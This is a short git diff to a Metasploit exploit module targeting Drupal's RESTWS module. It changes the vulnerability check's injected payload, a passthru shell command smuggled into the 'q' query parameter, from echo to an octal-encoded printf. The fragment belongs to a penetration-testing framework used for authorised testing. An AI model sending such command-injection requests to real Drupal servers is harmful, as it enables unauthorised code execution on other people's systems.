diff --git a/modules/exploits/unix/webapp/drupal_restws_exec.rb b/modules/exploits/unix/webapp/drupal_restws_exec.rb
index 14e1524252..866d7210b6 100644
--- a/modules/exploits/unix/webapp/drupal_restws_exec.rb
+++ b/modules/exploits/unix/webapp/drupal_restws_exec.rb
@@ -59,7 +59,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'method' => 'GET',
       'uri' => normalize_uri(target_uri.path, 'index.php'),
       'vars_get' => {
-        'q' => "taxonomy_vocabulary//passthru/echo #{r}"
+        'q' => "taxonomy_vocabulary//passthru/printf '#{Rex::Text.to_octal(r)}'"
       }
     )
     if res && res.body.include?(r)